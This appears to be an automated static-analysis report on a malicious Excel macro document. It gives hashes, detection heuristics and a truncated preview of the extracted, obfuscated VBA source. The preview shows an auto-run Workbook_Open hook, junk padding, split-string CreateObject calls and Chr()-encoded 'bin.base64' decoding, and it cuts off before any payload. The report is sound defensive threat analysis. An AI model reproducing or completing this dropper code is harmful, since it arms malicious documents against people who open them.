Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3acfc5a5ef05d8be…

MALICIOUS

Office (OLE)

52.0 KB Created: 2018-09-10 06:33:08 Authoring application: Microsoft Excel First seen: 2019-05-31
MD5: b655ab478719c907a603188eb06342ce SHA-1: af20ee990af9c5465f398acb3d9906f9e3c01672 SHA-256: 3acfc5a5ef05d8beb076295e1126b8f5b17c43dddb4bb96d48b4f47519641ec4
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing obfuscated VBA macros. The Workbook_Open event is triggered upon opening, and the 'CreateObject' call, along with a split string keyword obfuscation ('mSxMl2'), indicates an attempt to execute malicious code. This pattern is typical of macro-based malware designed to download and run further payloads.

Heuristics 6

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11782 bytes
SHA-256: 1ddb2fbce6389d69ccd0eb07ec594970189ecbe26b52688c2c9d3799093fc36a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()
Kck9lwFbbGDhS889yZ.gfMcUIa71DTE5MmbHfno
While 25 = 35
Dim Tru5MM_F_5IX As Boolean
Wend
Dim gTPXlTEHqG As Worksheet
While 15 = 41
Dim p4AV6GwJzUCHext As Boolean
Wend
Dim RNG_S7645g As Worksheet

While 8 = 34
Dim j6NyxZd7LB13zP As Boolean
Wend
Dim RxDwTXxbmR_7DW As Worksheet
While 15 = 59
Dim Js_EyUJhTB5gJRv As Boolean
Wend
Dim YWzG_G2EiGucj As Worksheet
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Kck9lwFbbGDhS889yZ"
Dim HN9x9FWXtCvyJqFr7DFTjiHB9bQ4oO4GPb7C6w3PUfxU5PFcd7BgAGnhE7yfxcscGnhqtCuHJy9DtvEqUxXrMUEGwX798Ub1wTMPrXsaJ3VKHixSzFJ9__NvhY3TEuI As String
Dim VIQQWguJXfS_ngad_NSFJHZrtkkOjqpKITABVRqpFdazr84YNgVFketMshgv6eipyG4SeXFqgm_opi_vpJACTijniwQwt4tk5t_jCi3yZni7e_fHhuEtcfUOfOtrFR6l3Ws5iYrEQKlo9lGcO As String
Dim Igf8avqk9Ki1lHfC8NKkCfbd9JlqUFX9gpcJ2RBVA76aY3mVnw2k6OqmDB8PH_N2wiS6nTInKxiEi_D_gOBhNwCP9zFzSuL_qDnyiqrSlLXFpkC As String
Dim qiq7xRbFkPcClV4VOoyNv4Ow1lBUdK9Y6ORUCwmrWokNJoORKhFVAnswR3_KPFkXPDFV As Integer

 Function frbZiBQzvA5ttbB1vMeos3pF5VB13f(c9Ck66kI5TmOdlKDTtZOJqvT2Oj_niVGS9r11TB4kVTvQtpcQy_vnZDuKrroUkeT8e6d4TK_remwV9CFiFrxcjb256nHkUh_19xuxJh6m_CHwOXLnkEM2pzWBCi7pBWV6l5)
While 7 = 54
Dim FkYD84K2Gq6 As Boolean
Wend
Dim imQImB1xl3vX46 As Worksheet
While 2 = 43
Dim nxDm2bvKfVR As Boolean
Wend
Dim WjbuhickqSqKH As Worksheet

 Dim Pt_vw8JQDLWnBauIiKLnsPaUdSOLVwR56g3sOVJ7a3TeWmEr7N1PtyC9QrQcr74P3aqdgA3LANLz5681MgOG5AJFd3Zf_pN
While 15 = 36
Dim c_wm_qSKdFR_FM As Boolean
Wend
Dim NNHVF51OaXBC As Worksheet
While 6 = 47
Dim RQwLl7l5Iwo As Boolean
Wend
Dim HFxBF2bHoaTMVg As Worksheet


   Dim BJZ4JL9L4rZa9MCHYiuPUtOsrBXev85KnEvr85MjPXFDR_PEVlOetJHQ5pJGwbY6vMv3aSIcUI96lJYruQHIrXZc7dv
While 21 = 38
Dim jOQMlWjAWAW As Boolean
Wend
Dim QdUbKDah_OQ3s As Worksheet
While 21 = 35
Dim V8OUk7CZnoUUm As Boolean
Wend
Dim IPg_Y_si8wLNPv As Worksheet
   
While 2 = 46
Dim wgoRVgznGMXY76l As Boolean
Wend
Dim x9EgGPQaI12 As Worksheet
While 22 = 52
Dim w_aHUpPmF9C As Boolean
Wend
Dim E_eGRp_Cv6HwEp As Worksheet
 Set BJZ4JL9L4rZa9MCHYiuPUtOsrBXev85KnEvr85MjPXFDR_PEVlOetJHQ5pJGwbY6vMv3aSIcUI96lJYruQHIrXZc7dv = CreateObject(VIQQWguJXfS_ngad_NSFJHZrtkkOjqpKITABVRqpFdazr84YNgVFketMshgv6eipyG4SeXFqgm_opi_vpJACTijniwQwt4tk5t_jCi3yZni7e_fHhuEtcfUOfOtrFR6l3Ws5iYrEQKlo9lGcO)
While 10 = 54
Dim Hed_eZdfBnp_B As Boolean
Wend
Dim spQey6FaBtHHc1 As Worksheet
While 26 = 41
Dim yM11mCnftHBck As Boolean
Wend
Dim dhB1aMmOUdZS1 As Worksheet
   HN9x9FWXtCvyJqFr7DFTjiHB9bQ4oO4GPb7C6w3PUfxU5PFcd7BgAGnhE7yfxcscGnhqtCuHJy9DtvEqUxXrMUEGwX798Ub1wTMPrXsaJ3VKHixSzFJ9__NvhY3TEuI = Chr(216 - 118) & Chr(194 - 89) & Chr(346 - 236) & Chr(131 - 85) & Chr(189 - 91) & Chr(157 - 60) & Chr(259 - 144) & Chr(195 - 94) & Chr(277 - 223) & Chr(341 - 289)
While 12 = 46
Dim MEtT5AinRJwBB As Boolean
Wend
Dim VL5HcTSl3_3q5 As Worksheet
While 19 = 32
Dim ykbrYguDZZ_wE As Boolean
Wend
Dim aAyOzDXKPBZT As Worksheet
  Set Pt_vw8JQDLWnBauIiKLnsPaUdSOLVwR56g3sOVJ7a3TeWmEr7N1PtyC9QrQcr74P3aqdgA3LANLz5681MgOG5AJFd3Zf_pN = BJZ4JL9L4rZa9MCHYiuPUtOsrBXev85KnEvr85MjPXFDR_PEVlOetJHQ5pJGwbY6vMv3aSIcUI96lJYruQHIrXZc7dv.createElement("xVGPYhy86_7fS839Ljm")
While 15 = 52
Dim fUTEzm_K8KitN As Boolean
Wend
Dim O76v5UV2Rvm As Worksheet
While 19 = 50
Dim HyQrhhBWbhNr As Boolean
Wend
Dim SHI_OCmo_x As Worksheet
  Pt_vw8JQDLWnBauIiKLnsPaUdSOLVwR56g3sOVJ7a3TeWmEr7N1PtyC9QrQcr74P3aqdgA3LANLz5681MgOG5AJFd3Zf_pN.DataType = HN9x9FWXtCvyJqFr7DFTjiHB9bQ4oO4GPb7C6w3PUfxU5PFcd7BgAGnhE7yfxcscGnhqtCuHJy9DtvEqUxX
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.